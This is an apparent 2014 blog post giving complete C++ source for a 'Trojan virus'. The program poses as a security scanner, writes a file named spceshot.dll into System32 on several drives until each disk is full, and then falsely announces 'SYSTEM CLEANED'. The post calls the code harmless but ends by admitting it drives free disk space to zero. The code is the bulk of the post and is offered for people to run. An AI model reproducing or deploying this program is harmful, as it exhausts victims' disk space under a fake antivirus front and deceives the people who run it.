Sunday, 31 August 2014

How to make a Trojan virus in C++

This sample Trojan virus is made in c++. This will not harm your computer.It will give you simple feeling of real programmer.Enjoy this coding.

 make a Trojan virus in C++






NOTE : DON'T USE THIS FOR COMMERCIAL PURPOSES

C++ program to make Trojan virus


#include<dos.h>
#include<stdlib.h>
#include<stdio.h>
#include<conio.h>


FILE *t,*b,*a;
int r,status,vir_count;
double i;
char ch[]="A FILE WITH LARGE MEMORY IS CREATED",choice;
void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);
void main()
{

draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("WAIT UNTIL SYSTEM ANALYSIS COMPLETE...");
sleep(3);
gotoxy(12,8);
delline();
cputs("TO START SCAN PRESS ANY KEY...");
getch();
gotoxy(12,8);
delline();
findroot();
}
void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS IS A DEMO OF TROJEN HORSE VIRUS. THIS PROGRAM WILL \n\rEAT UP WHOLE SPACE ON ROOT DRIVE. YOU CAN \n\rELIMINATE THE DAMAGE.\n\n\rTO REVERT THE DAMAGE YOU\'VE TO REMOVE THE FILE \"spceshot.dll\" IN\n\n\r \"%windir%\\System32\".\n\n\rPRESS ENTER TO CONTINUE , ANY OTHER KEY TO QUIT.");
if((choice=getch())!=13)
exit(0);
}
void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("===================================");
gotoxy(12,6);
cputs("===================================");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("QUICK SECURITY  - 2010 ");
}
void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("TO CLOSE PRESS ANY KEY.");
getch();
exit(1);
}
exit(1);
}
void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("DONOT STOP THE SCAN..!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. SYSTEM CLEANED ",vir_count);
gotoxy(12,10);
cprintf("TO CLOSE PRESS ANY KEY");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}
void showstatus()
{
gotoxy(12,8);
cputs("SYSTEM IS SCANNING FOR THREATS.");
gotoxy(12,10);
cputs("A FEW MINUTES WILL TAKE TO COMPLEATE");
gotoxy(12,13);
cputs("SCANNING IS GOING ON.......");
}


NOTE: After running this Program your free disk space become zero.You can free disk space by deleting the file "spceshot.dll"  in location  "%windir%\\System32\"